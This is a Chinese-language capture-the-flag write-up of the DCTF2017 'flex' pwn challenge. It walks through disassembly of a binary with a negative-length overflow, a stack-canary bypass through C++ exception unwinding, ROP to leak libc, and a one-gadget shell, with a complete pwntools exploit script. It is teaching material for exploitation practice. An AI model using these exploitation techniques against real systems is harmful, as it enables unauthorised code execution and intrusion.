CTF-All-In-One/doc/6.1.8_pwn_dctf2017_flex.md
firmianay d19b1ff24b fix
2018-05-01 21:57:53 +08:00

540 lines
30 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 6.1.8 pwn DCTF2017 Flex
- [题目复现](#题目复现)
- [C++ 异常处理机制](#C-异常处理机制)
- [题目解析](#题目解析)
- [漏洞利用](#漏洞利用)
- [参考资料](#参考资料)
[下载文件](../src/writeup/6.1.8_pwn_dctf2017_flex)
## 题目复现
```
$ file flex
flex: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=30a1acbc98ccf9e8f4b3d1fc06b6ba6f0cbe7c9e, stripped
$ checksec -f flex
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 0 4 flex
```
可以看到开启了 Canary本题的关键就是利用某种神秘机制C++异常处理机制)绕过它。
随便玩一下,了解程序的基本功能:
```
$ ./flex
1.start flexmd5
2.start flexsha256
3.start flexsha1
4.test security
0 quit
option:
1
FlexMD5 bruteforce tool V0.1
custom md5 state (yes/No)
No
custom charset (yes/No)
yes
charset length:
10
charset:
a
bruteforce message pattern:
aaaa
```
把程序跑起来:
```
$ socat tcp4-listen:10001,reuseaddr,fork exec:./flex &
```
## C++ 异常处理机制
```
$ ldd flex
linux-vdso.so.1 (0x00007ffcd837a000)
libstdc++.so.6 => /usr/lib/libstdc++.so.6 (0x00007f748fe72000)
libgcc_s.so.1 => /usr/lib/libgcc_s.so.1 (0x00007f748fc5b000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007f748f8a3000)
libm.so.6 => /usr/lib/libm.so.6 (0x00007f748f557000)
/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007f74901f9000)
```
所以这个程序是一个 C 和 C++ 混合编译的,以便处理异常。
当用户 throw 一个异常时,编译器会帮我们调用相应的函数分配 `_cxa_exception` 就是头部,`exception_obj`。异常对象由函数 `__cxa_allocate_exception()` 进行创建,最后由 `__cxa_free_exception()` 进行销毁。当我们在程序里执行了抛出异常后,编译器做了如下的事情:
1. 调用 `__cxa_allocate_exception` 函数,分配一个异常对象
2. 调用 `__cxa_throw` 函数,这个函数会将异常对象做一些初始化
3. `__cxa_throw()` 调用 Itanium ABI 里的 `_Unwind_RaiseException()` 从而开始 unwindunwind 分为两个阶段,分别进行搜索 catch 及清理调用栈
4. `_Unwind_RaiseException()` 对调用链上的函数进行 unwind 时,调用 personality routine`__gxx_personality_v0`
5. 如果该异常如能被处理(有相应的 catch则 personality routine 会依次对调用链上的函数进行清理。
6. `_Unwind_RaiseException()` 将控制权转到相应的 catch 代码
7. unwind 完成,用户代码继续执行
具体内容查看参考资料。
## 题目解析
程序的第四个选项很吸引人,但似乎没有发现什么突破点,而第一个选项可以输入的东西较多,问题应该在这里,查看该函数 `sub.bruteforcing_start:_500`
```
[0x00400d80]> pdf @ sub.bruteforcing_start:_500
/ (fcn) sub.bruteforcing_start:_500 63
| sub.bruteforcing_start:_500 ();
| ; CALL XREF from 0x00402200 (main)
| 0x00401500 55 push rbp
| 0x00401501 4889e5 mov rbp, rsp
| 0x00401504 4883ec10 sub rsp, 0x10
| 0x00401508 e83bfcffff call sub.FlexMD5_bruteforce_tool_V0.1_148
| 0x0040150d e87dfaffff call fcn.00400f8f
| 0x00401512 bf4f464000 mov edi, str.bruteforcing_start: ; 0x40464f ; "bruteforcing start:"
| 0x00401517 e8b4f6ffff call sym.imp.puts ; int puts(const char *s)
| ; JMP XREF from 0x00401534 (sub.bruteforcing_start:_500)
| .-> 0x0040151c e88cfeffff call sub.strlen_3ad ; size_t strlen(const char *s)
| : 0x00401521 85c0 test eax, eax
| : 0x00401523 0f94c0 sete al
| : 0x00401526 84c0 test al, al
| ,==< 0x00401528 740c je 0x401536
| |: 0x0040152a bf01000000 mov edi, 1
| |: 0x0040152f e83cf7ffff call sym.imp.sleep ; int sleep(int s)
| |`=< 0x00401534 ebe6 jmp 0x40151c
| | ; JMP XREF from 0x00401528 (sub.bruteforcing_start:_500)
| | ; JMP XREF from 0x0040155d (sub.bruteforcing_start:_500 + 93)
| `.-> 0x00401536 b800000000 mov eax, 0 ; 异常处理代码
| ,==< 0x0040153b eb22 jmp 0x40155f
|: 0x0040153d 4883fa01 cmp rdx, 1 ; 1 ; 如果成功捕获异常,则跳转到这里
,===< 0x00401541 7408 je 0x40154b ; 跳转
||: 0x00401543 4889c7 mov rdi, rax
||: 0x00401546 e8f5f7ffff call sym.imp._Unwind_Resume
||: ; JMP XREF from 0x00401541 (sub.bruteforcing_start:_500 + 65)
`---> 0x0040154b 4889c7 mov rdi, rax
|: 0x0040154e e8bdf7ffff call sym.imp.__cxa_begin_catch
|: 0x00401553 8b00 mov eax, dword [rax]
|: 0x00401555 8945fc mov dword [rbp - 4], eax
|: 0x00401558 e8a3f7ffff call sym.imp.__cxa_end_catch
|`=< 0x0040155d ebd7 jmp 0x401536 ; sub.bruteforcing_start:_500+0x36
| | ; JMP XREF from 0x0040153b (sub.bruteforcing_start:_500)
| `--> 0x0040155f c9 leave
\ 0x00401560 c3 ret ; ret 到 payload_2
```
函数 `sub.FlexMD5_bruteforce_tool_V0.1_148`
```
[0x00400d80]> pdf @ sub.FlexMD5_bruteforce_tool_V0.1_148
/ (fcn) sub.FlexMD5_bruteforce_tool_V0.1_148 613
| sub.FlexMD5_bruteforce_tool_V0.1_148 ();
| ; var int local_124h @ rbp-0x124
| ; var int local_120h @ rbp-0x120
| ; var int local_18h @ rbp-0x18
| ; CALL XREF from 0x00401508 (sub.bruteforcing_start:_500)
| 0x00401148 55 push rbp
| 0x00401149 4889e5 mov rbp, rsp
| 0x0040114c 53 push rbx
| 0x0040114d 4881ec280100. sub rsp, 0x128
| 0x00401154 64488b042528. mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
| 0x0040115d 488945e8 mov qword [local_18h], rax
| 0x00401161 31c0 xor eax, eax
| 0x00401163 bf47454000 mov edi, str.FlexMD5_bruteforce_tool_V0.1 ; 0x404547 ; "FlexMD5 bruteforce tool V0.1"
| 0x00401168 e863faffff call sym.imp.puts ; int puts(const char *s)
| 0x0040116d bf64454000 mov edi, str.custom_md5_state__yes_No_ ; 0x404564 ; "custom md5 state (yes/No)"
| 0x00401172 e859faffff call sym.imp.puts ; int puts(const char *s)
| 0x00401177 488d85e0feff. lea rax, [local_120h]
| 0x0040117e be04000000 mov esi, 4
| 0x00401183 4889c7 mov rdi, rax
| 0x00401186 e8ebfcffff call sub.read_e76 ; ssize_t read(int fildes, void *buf, size_t nbyte)
| 0x0040118b 488d85e0feff. lea rax, [local_120h]
| 0x00401192 ba03000000 mov edx, 3
| 0x00401197 be7e454000 mov esi, 0x40457e ; "yes"
| 0x0040119c 4889c7 mov rdi, rax
| 0x0040119f e85cfaffff call sym.imp.strncmp ; int strncmp(const char *s1, const char *s2, size_t n)
| 0x004011a4 85c0 test eax, eax
| ,=< 0x004011a6 755e jne 0x401206
| | 0x004011a8 c705f24f2000. mov dword [0x006061a4], 1 ; [0x6061a4:4]=0
| | 0x004011b2 bf82454000 mov edi, str.initial_state_0_: ; 0x404582 ; "initial state[0]:"
| | 0x004011b7 e814faffff call sym.imp.puts ; int puts(const char *s)
| | 0x004011bc e884fdffff call sub.atoi_f45 ; int atoi(const char *str)
| | 0x004011c1 8905e94f2000 mov dword [0x006061b0], eax ; [0x6061b0:4]=0
| | 0x004011c7 bf94454000 mov edi, str.initial_state_1_: ; 0x404594 ; "initial state[1]:"
| | 0x004011cc e8fff9ffff call sym.imp.puts ; int puts(const char *s)
| | 0x004011d1 e86ffdffff call sub.atoi_f45 ; int atoi(const char *str)
| | 0x004011d6 8905d84f2000 mov dword [0x006061b4], eax ; [0x6061b4:4]=0
| | 0x004011dc bfa6454000 mov edi, str.initial_state_2_: ; 0x4045a6 ; "initial state[2]:"
| | 0x004011e1 e8eaf9ffff call sym.imp.puts ; int puts(const char *s)
| | 0x004011e6 e85afdffff call sub.atoi_f45 ; int atoi(const char *str)
| | 0x004011eb 8905c74f2000 mov dword [0x006061b8], eax ; [0x6061b8:4]=0
| | 0x004011f1 bfb8454000 mov edi, str.initial_state_3_: ; 0x4045b8 ; "initial state[3]:"
| | 0x004011f6 e8d5f9ffff call sym.imp.puts ; int puts(const char *s)
| | 0x004011fb e845fdffff call sub.atoi_f45 ; int atoi(const char *str)
| | 0x00401200 8905b64f2000 mov dword [0x006061bc], eax ; [0x6061bc:4]=0
| | ; JMP XREF from 0x004011a6 (sub.FlexMD5_bruteforce_tool_V0.1_148)
| `-> 0x00401206 bfca454000 mov edi, str.custom_charset__yes_No_ ; 0x4045ca ; "custom charset (yes/No)"
| 0x0040120b e8c0f9ffff call sym.imp.puts ; int puts(const char *s)
| 0x00401210 488d85e0feff. lea rax, [local_120h]
| 0x00401217 be04000000 mov esi, 4
| 0x0040121c 4889c7 mov rdi, rax
| 0x0040121f e852fcffff call sub.read_e76 ; ssize_t read(int fildes, void *buf, size_t nbyte)
| 0x00401224 488d85e0feff. lea rax, [local_120h]
| 0x0040122b ba03000000 mov edx, 3
| 0x00401230 be7e454000 mov esi, 0x40457e ; "yes"
| 0x00401235 4889c7 mov rdi, rax
| 0x00401238 e8c3f9ffff call sym.imp.strncmp ; int strncmp(const char *s1, const char *s2, size_t n)
| 0x0040123d 85c0 test eax, eax
| ,=< 0x0040123f 0f858a000000 jne 0x4012cf
| | 0x00401245 c705554f2000. mov dword [0x006061a4], 1 ; [0x6061a4:4]=0
| | 0x0040124f bfe2454000 mov edi, str.charset_length: ; 0x4045e2 ; "charset length:"
| | 0x00401254 e877f9ffff call sym.imp.puts ; int puts(const char *s)
| | 0x00401259 e8e7fcffff call sub.atoi_f45 ; int atoi(const char *str) ; 读入字符串并转换成整型数
| | 0x0040125e 8905ac4e2000 mov dword [0x00606110], eax ; [0x606110:4]=62
| | 0x00401264 8b05a64e2000 mov eax, dword [0x00606110] ; [0x606110:4]=62
| | 0x0040126a 3d00010000 cmp eax, 0x100 ; 256 ; 比较大小
| ,==< 0x0040126f 7e22 jle 0x401293 ; eax < 256 时跳转 ; 这里我们输入一个负数即可成功跳转
| || 0x00401271 bf04000000 mov edi, 4
| || 0x00401276 e855faffff call sym.imp.__cxa_allocate_exception
| || 0x0040127b c70002000000 mov dword [rax], 2
| || 0x00401281 ba00000000 mov edx, 0
| || 0x00401286 be70616000 mov esi, obj.typeinfoforint ; 0x606170
| || 0x0040128b 4889c7 mov rdi, rax
| || 0x0040128e e85dfaffff call sym.imp.__cxa_throw
| || ; JMP XREF from 0x0040126f (sub.FlexMD5_bruteforce_tool_V0.1_148)
| `--> 0x00401293 bff2454000 mov edi, str.charset: ; 0x4045f2 ; "charset:"
| | 0x00401298 e833f9ffff call sym.imp.puts ; int puts(const char *s)
| | 0x0040129d 8b056d4e2000 mov eax, dword [0x00606110] ; [0x606110:4]=62 ; 取出数字
| | 0x004012a3 83c001 add eax, 1 ; eax += 1
| | 0x004012a6 89c2 mov edx, eax
| | 0x004012a8 488d85e0feff. lea rax, [local_120h]
| | 0x004012af 89d6 mov esi, edx
| | 0x004012b1 4889c7 mov rdi, rax
| | 0x004012b4 e8bdfbffff call sub.read_e76 ; ssize_t read(int fildes, void *buf, size_t nbyte) ; 该函数内调用 read(0, [local_120h], esi) 读入我们的 payload_1由于esi是一个负数而 0x00400ea8 jae 0x400ef3 处是与一个非负数比较,永远不会相等,即可以读入以换行符结尾的任意数量字符
| | 0x004012b9 488d85e0feff. lea rax, [local_120h]
| | 0x004012c0 4889c7 mov rdi, rax
| | 0x004012c3 e8e8f9ffff call sym.imp.strdup ; char *strdup(const char *src) ; 在堆中复制一个字符串的副本
| | 0x004012c8 488905494e20. mov qword str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789, rax ; [0x606118:8]=0x404508 str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789
| | ; JMP XREF from 0x0040123f (sub.FlexMD5_bruteforce_tool_V0.1_148)
| `-> 0x004012cf bffb454000 mov edi, str.bruteforce_message_pattern: ; 0x4045fb ; "bruteforce message pattern:"
| 0x004012d4 e8f7f8ffff call sym.imp.puts ; int puts(const char *s)
| 0x004012d9 be00040000 mov esi, 0x400 ; 1024
| 0x004012de bfc0616000 mov edi, 0x6061c0
| 0x004012e3 e836fcffff call sub.read_f1e ; ssize_t read(int fildes, void *buf, size_t nbyte) ; 调用 read(0, 0x6061c0, 0x400) 读入 payload_2
| 0x004012e8 bfc0616000 mov edi, 0x6061c0
| 0x004012ed e85ef9ffff call sym.imp.strlen ; size_t strlen(const char *s)
| 0x004012f2 8905a84e2000 mov dword [0x006061a0], eax ; [0x6061a0:4]=0
| 0x004012f8 c785dcfeffff. mov dword [local_124h], 0
| ; JMP XREF from 0x00401334 (sub.FlexMD5_bruteforce_tool_V0.1_148)
| .-> 0x00401302 8b85dcfeffff mov eax, dword [local_124h]
| : 0x00401308 4863d8 movsxd rbx, eax ; 将 rbx 初始化为 0
| : 0x0040130b bfc0616000 mov edi, 0x6061c0 ; paylaod_2 的地址
| : 0x00401310 e83bf9ffff call sym.imp.strlen ; size_t strlen(const char *s)
| : 0x00401315 4839c3 cmp rbx, rax ; 比较 rbx 和 raxrax 是字符串长度返回值
| ,==< 0x00401318 731d jae 0x401337 ; 相等时跳转
| |: 0x0040131a 8b85dcfeffff mov eax, dword [local_124h]
| |: 0x00401320 4898 cdqe
| |: 0x00401322 0fb680c06160. movzx eax, byte [rax + 0x6061c0] ; [0x6061c0:1]=0
| |: 0x00401329 3c2e cmp al, 0x2e ; '.' ; 46
| ,===< 0x0040132b 7409 je 0x401336
| ||: 0x0040132d 8385dcfeffff. add dword [local_124h], 1 ; rbx += 1
| ||`=< 0x00401334 ebcc jmp 0x401302
| || ; JMP XREF from 0x0040132b (sub.FlexMD5_bruteforce_tool_V0.1_148)
| `---> 0x00401336 90 nop
| | ; JMP XREF from 0x00401318 (sub.FlexMD5_bruteforce_tool_V0.1_148)
| `--> 0x00401337 8b85dcfeffff mov eax, dword [local_124h]
| 0x0040133d 4863d8 movsxd rbx, eax
| 0x00401340 bfc0616000 mov edi, 0x6061c0
| 0x00401345 e806f9ffff call sym.imp.strlen ; size_t strlen(const char *s)
| 0x0040134a 4839c3 cmp rbx, rax ; 比较 rbx 和 rax
| ,=< 0x0040134d 7522 jne 0x401371 ; 如果相等,则进入异常处理机制,利用该机制可 leave;ret 到 payload_2
| | 0x0040134f bf04000000 mov edi, 4 ; 参数 edi = 4
| | 0x00401354 e877f9ffff call sym.imp.__cxa_allocate_exception ; 创建异常对象,返回对象地址 rax
| | 0x00401359 c70000000000 mov dword [rax], 0 ; 初始化为 0
| | 0x0040135f ba00000000 mov edx, 0 ; 参数 edx = 0
| | 0x00401364 be70616000 mov esi, obj.typeinfoforint ; 0x606170 ; 参数 esi = 0x606170
| | 0x00401369 4889c7 mov rdi, rax ; 参数 rdi = rax
| | 0x0040136c e87ff9ffff call sym.imp.__cxa_throw ; 对异常对象做一些初始化,这里会跳转到 0x0040153d
| | ; JMP XREF from 0x0040134d (sub.FlexMD5_bruteforce_tool_V0.1_148)
| `-> 0x00401371 bf17464000 mov edi, str.md5_pattern: ; 0x404617 ; "md5 pattern:"
| 0x00401376 e855f8ffff call sym.imp.puts ; int puts(const char *s)
| 0x0040137b be21000000 mov esi, 0x21 ; '!' ; 33
| 0x00401380 bfc0656000 mov edi, 0x6065c0
| 0x00401385 e8ecfaffff call sub.read_e76 ; ssize_t read(int fildes, void *buf, size_t nbyte)
| 0x0040138a b800000000 mov eax, 0
| 0x0040138f 488b4de8 mov rcx, qword [local_18h]
| 0x00401393 6448330c2528. xor rcx, qword fs:[0x28]
| ,=< 0x0040139c 7405 je 0x4013a3
| | 0x0040139e e81df9ffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
| | ; JMP XREF from 0x0040139c (sub.FlexMD5_bruteforce_tool_V0.1_148)
| `-> 0x004013a3 4881c4280100. add rsp, 0x128
| 0x004013aa 5b pop rbx
| 0x004013ab 5d pop rbp
\ 0x004013ac c3 ret
```
函数 `sub.atoi_f45` 将字符串转换成长整型数:
```
[0x00400d80]> pdf @ sub.atoi_f45
/ (fcn) sub.atoi_f45 74
| sub.atoi_f45 ();
| ; var int local_20h @ rbp-0x20
| ; var int local_8h @ rbp-0x8
| ; XREFS: CALL 0x004021f2 CALL 0x004011bc CALL 0x004011d1 CALL 0x004011e6 CALL 0x004011fb CALL 0x00401259 CALL 0x004015d9 CALL 0x00402136
| 0x00400f45 55 push rbp
| 0x00400f46 4889e5 mov rbp, rsp
| 0x00400f49 4883ec20 sub rsp, 0x20
| 0x00400f4d 64488b042528. mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
| 0x00400f56 488945f8 mov qword [local_8h], rax
| 0x00400f5a 31c0 xor eax, eax
| 0x00400f5c 488d45e0 lea rax, [local_20h]
| 0x00400f60 be0b000000 mov esi, 0xb ; 11
| 0x00400f65 4889c7 mov rdi, rax
| 0x00400f68 e809ffffff call sub.read_e76 ; ssize_t read(int fildes, void *buf, size_t nbyte)
| 0x00400f6d 488d45e0 lea rax, [local_20h] ; local_20h 指向读入的字符串
| 0x00400f71 4889c7 mov rdi, rax ; rdi = rax
| 0x00400f74 e807fdffff call sym.imp.atoi ; int atoi(const char *str) ; 将字符串转换成长整型
| 0x00400f79 488b55f8 mov rdx, qword [local_8h]
| 0x00400f7d 644833142528. xor rdx, qword fs:[0x28]
| ,=< 0x00400f86 7405 je 0x400f8d
| | 0x00400f88 e833fdffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
| | ; JMP XREF from 0x00400f86 (sub.atoi_f45)
| `-> 0x00400f8d c9 leave
\ 0x00400f8e c3 ret
```
可以看到该函数并未对所输入的数字进行验证,所以我们可以输入负数,因为计算机中数字是以补码的形式存在,例如 `-2 = 0xfffffffffffffffe`。这个数字加 1 后,作为读入字符串个数的判定,因为个数不能为负,我们就可以开心地读入后面的 payload 了。
这个程序中读入操作使用函数 `sub.read_e76`,该函数内部有一个循环,每次读入一个字符,如果遇到换行符,则完成退出。
```
[0x00400d80]> pdf @ sub.read_e76
/ (fcn) sub.read_e76 168
| sub.read_e76 ();
| ; var int local_1ch @ rbp-0x1c
| ; var int local_18h @ rbp-0x18
| ; var int local_dh @ rbp-0xd
| ; var int local_ch @ rbp-0xc
| ; var int local_8h @ rbp-0x8
| ; XREFS: CALL 0x00400f68 CALL 0x00401186 CALL 0x0040121f CALL 0x004012b4 CALL 0x00401385 CALL 0x0040159f CALL 0x00401634 CALL 0x00401663
| ; XREFS: CALL 0x00401705 CALL 0x00401d4f
| 0x00400e76 55 push rbp
| 0x00400e77 4889e5 mov rbp, rsp
| 0x00400e7a 4883ec20 sub rsp, 0x20
| 0x00400e7e 48897de8 mov qword [local_18h], rdi
| 0x00400e82 8975e4 mov dword [local_1ch], esi
| 0x00400e85 64488b042528. mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
| 0x00400e8e 488945f8 mov qword [local_8h], rax
| 0x00400e92 31c0 xor eax, eax
| 0x00400e94 c745f4000000. mov dword [local_ch], 0
| 0x00400e9b c745f4000000. mov dword [local_ch], 0
| ; JMP XREF from 0x00400ef1 (sub.read_e76)
| .-> 0x00400ea2 8b45f4 mov eax, dword [local_ch] ; 循环起点local_ch 存放已输入字符数量
| : 0x00400ea5 3b45e4 cmp eax, dword [local_1ch] ; 允许读入的数量
| ,==< 0x00400ea8 7349 jae 0x400ef3 ; 相等时跳转 当读入payload_!时,由于我们输入的是一个负数,而 eax 是非负数,永远不会相等)
| |: 0x00400eaa 488d45f3 lea rax, [local_dh]
| |: 0x00400eae ba01000000 mov edx, 1 ; nbyte = 1
| |: 0x00400eb3 4889c6 mov rsi, rax ; buf = rsi = [local_dh]
| |: 0x00400eb6 bf00000000 mov edi, 0 ; fildes = edi = 0
| |: 0x00400ebb e830fdffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) ; 每次读入 1 个字符
| |: 0x00400ec0 0fb645f3 movzx eax, byte [local_dh] ; 取出输入字符
| |: 0x00400ec4 3c0a cmp al, 0xa ; 10 ; 比较输入字符是不是 '\n'
| ,===< 0x00400ec6 7515 jne 0x400edd ; 不是则跳转
| ||: 0x00400ec8 8b55f4 mov edx, dword [local_ch]
| ||: 0x00400ecb 488b45e8 mov rax, qword [local_18h]
| ||: 0x00400ecf 4801d0 add rax, rdx ; '('
| ||: 0x00400ed2 c60000 mov byte [rax], 0
| ||: 0x00400ed5 8b45f4 mov eax, dword [local_ch]
| ||: 0x00400ed8 83c001 add eax, 1
| ,====< 0x00400edb eb2b jmp 0x400f08
| |||: ; JMP XREF from 0x00400ec6 (sub.read_e76)
| |`---> 0x00400edd 8b55f4 mov edx, dword [local_ch] ; 取出字符数量
| | |: 0x00400ee0 488b45e8 mov rax, qword [local_18h] ; local_18h 为目标初始地址
| | |: 0x00400ee4 4801c2 add rdx, rax ; '#' ; rdx 指向目标地址
| | |: 0x00400ee7 0fb645f3 movzx eax, byte [local_dh] ; 取出读入字符
| | |: 0x00400eeb 8802 mov byte [rdx], al ; 将读入字符存放到 [rdx]
| | |: 0x00400eed 8345f401 add dword [local_ch], 1 ; local_ch += 1
| | |`=< 0x00400ef1 ebaf jmp 0x400ea2 ; 循环,继续读入字符
| | | ; JMP XREF from 0x00400ea8 (sub.read_e76)
| | `--> 0x00400ef3 8b45e4 mov eax, dword [local_1ch]
| | 0x00400ef6 83e801 sub eax, 1
| | 0x00400ef9 89c2 mov edx, eax
| | 0x00400efb 488b45e8 mov rax, qword [local_18h]
| | 0x00400eff 4801d0 add rax, rdx ; '('
| | 0x00400f02 c60000 mov byte [rax], 0
| | 0x00400f05 8b45f4 mov eax, dword [local_ch]
| | ; JMP XREF from 0x00400edb (sub.read_e76)
| `----> 0x00400f08 488b4df8 mov rcx, qword [local_8h] ; 读完字符串,跳出循环
| 0x00400f0c 6448330c2528. xor rcx, qword fs:[0x28]
| ,=< 0x00400f15 7405 je 0x400f1c
| | 0x00400f17 e8a4fdffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
| | ; JMP XREF from 0x00400f15 (sub.read_e76)
| `-> 0x00400f1c c9 leave
\ 0x00400f1d c3 ret
```
分析完了,接下来就写 exp 吧。
## 漏洞利用
#### stack pivot
`0x004012b4` 下断点,以检查溢出点:
```
gdb-peda$ x/s $rbp
0x7fffffffe3f0: "5A%KA%gA%6A%"
gdb-peda$ pattern_offset 5A%KA%gA%6A%
5A%KA%gA%6A% found at offset: 288
```
所以缓冲区的长度为 `288 / 8 = 36`。利用缓冲区溢出覆盖掉 rbp在异常处理过程中unwind 例程向上一级一级地找异常处理函数,然后恢复相关数据,这样就将栈转移到了新地址:
```python
# stack pivot
payload_1 = "AAAAAAAA" * 36
payload_1 += p64(pivote_addr)
payload_1 += p64(unwind_addr)
```
unwind_addr 必须是调用函数里的一个地址,这样抛出的异常才能被调用函数内的异常处理函数 catch。
#### get puts address
异常处理函数结束后,执行下面两句:
```
| `--> 0x0040155f c9 leave
\ 0x00401560 c3 ret ; ret 到 payload_2
```
通常情况下我们构造 rop 调用 read() 读入 one-gadget 来获得 shell但可用的 gadget 只能控制 rdi 和 rsi而不能控制 rdx。所以必须通过函数 `sub.read_f1e` 来做到这一点。
```
$ ropgadget --binary flex --only "pop|ret"
...
0x00000000004044d3 : pop rdi ; ret
0x00000000004044d1 : pop rsi ; pop r15 ; ret
```
```
[0x00400d80]> pdf @ sub.read_f1e
/ (fcn) sub.read_f1e 39
| sub.read_f1e ();
| ; var int local_10h @ rbp-0x10
| ; var int local_8h @ rbp-0x8
| ; CALL XREF from 0x004012e3 (sub.FlexMD5_bruteforce_tool_V0.1_148)
| 0x00400f1e 55 push rbp
| 0x00400f1f 4889e5 mov rbp, rsp
| 0x00400f22 4883ec10 sub rsp, 0x10
| 0x00400f26 48897df8 mov qword [local_8h], rdi
| 0x00400f2a 488975f0 mov qword [local_10h], rsi
| 0x00400f2e 488b55f0 mov rdx, qword [local_10h] ; rdx = 传入的 rsi
| 0x00400f32 488b45f8 mov rax, qword [local_8h]
| 0x00400f36 4889c6 mov rsi, rax ; rsi = 传入的 rdi
| 0x00400f39 bf00000000 mov edi, 0 ; fildes = 0
| 0x00400f3e e8adfcffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
| 0x00400f43 c9 leave
\ 0x00400f44 c3 ret
```
构造 paylode\_2 打印出 puts 的地址,并调用 `read_f1e` 读入 payload_3 到 `pivote_addr + 0x50` 的位置:
```python
# get puts address
payload_2 = "AAAAAAAA"
payload_2 += p64(pop_rdi)
payload_2 += p64(puts_got)
payload_2 += p64(puts_plt)
payload_2 += p64(pop_rdi)
payload_2 += p64(pivote_addr + 0x50)
payload_2 += p64(pop_rsi_r15)
payload_2 += p64(8)
payload_2 += "AAAAAAAA"
payload_2 += p64(read_f1e)
io.sendline(payload_2)
io.recvuntil("pattern:\n")
puts_addr = io.recvuntil("\n")[:-1].ljust(8,"\x00")
puts_addr = u64(puts_addr)
```
#### get shell
找到 libc 的 `do_system` 函数里的 one-gadget 地址为 `0x00041ee7`
```
| 0x00041ee7 488b056aff36. mov rax, qword [0x003b1e58] ; [0x3b1e58:8]=0
| 0x00041eee 488d3d409313. lea rdi, str._bin_sh ; 0x17b235 ; "/bin/sh"
| 0x00041ef5 c70521253700. mov dword [obj.lock_4], 0 ; [0x3b4420:4]=0
| 0x00041eff c7051b253700. mov dword [obj.sa_refcntr], 0 ; [0x3b4424:4]=0
| 0x00041f09 488d742430 lea rsi, [local_30h] ; sym.lm_cache ; 0x30
| 0x00041f0e 488b10 mov rdx, qword [rax]
| 0x00041f11 67e8c9260800 call sym.execve
```
通过泄露出的 puts 地址,计算符号偏移得到 one-gadget 地址,构造 payload_3
```python
libc_base = puts_addr - libc.symbols['puts']
one_gadget = libc_base + 0x00041ee7
# get shell
payload_3 = p64(one_gadget)
```
Bingo!!!
```
$ python2 exp.py
[+] Opening connection to 127.0.0.1 on port 10001: Done
[*] '/usr/lib/libc-2.26.so'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Switching to interactive mode
$ whoami
firmy
```
#### exploit
完整的 exp 如下:
```python
from pwn import *
io = remote('127.0.0.1', 10001)
libc = ELF('/usr/lib/libc-2.26.so')
io.recvuntil("option:\n")
io.sendline("1")
io.recvuntil("(yes/No)")
io.sendline("No")
io.recvuntil("(yes/No)")
io.sendline("yes")
io.recvuntil("length:")
io.sendline('-3')
io.recvuntil("charset:")
puts_plt = 0x00400bD0
puts_got = 0x00606020
read_f1e = 0x00400f1e
pop_rdi = 0x004044d3 # pop rdi ; ret
pop_rsi_r15 = 0x004044d1 # pop rsi ; pop r15 ; ret
pivote_addr = 0x6061C0
unwind_addr = 0x00401509 # make sure unwind can find the catch routine
# stack pivot
payload_1 = "AAAAAAAA" * 36
payload_1 += p64(pivote_addr)
payload_1 += p64(unwind_addr)
io.sendline(payload_1)
io.recvuntil("\n")
# get puts address
payload_2 = "AAAAAAAA" # fake ebp
payload_2 += p64(pop_rdi)
payload_2 += p64(puts_got)
payload_2 += p64(puts_plt)
payload_2 += p64(pop_rdi)
payload_2 += p64(pivote_addr + 0x50)
payload_2 += p64(pop_rsi_r15)
payload_2 += p64(8)
payload_2 += "AAAAAAAA"
payload_2 += p64(read_f1e)
io.sendline(payload_2)
io.recvuntil("pattern:\n")
puts_addr = io.recvuntil("\n")[:-1].ljust(8,"\x00")
puts_addr = u64(puts_addr)
libc_base = puts_addr - libc.symbols['puts']
one_gadget = libc_base + 0x00041ee7
# get shell
payload_3 = p64(one_gadget)
io.sendline(payload_3)
io.interactive()
```
最后建议读者自己多调试几遍,以加深对异常处理机制的理解。
## 参考资料
- [Shanghai-DCTF-2017 线下攻防Pwn题](https://www.anquanke.com/post/id/89855)
- [c++ 异常处理1](https://www.cnblogs.com/catch/p/3604516.html)
- [C++异常机制的实现方式和开销分析](http://baiy.cn/doc/cpp/inside_exception.htm)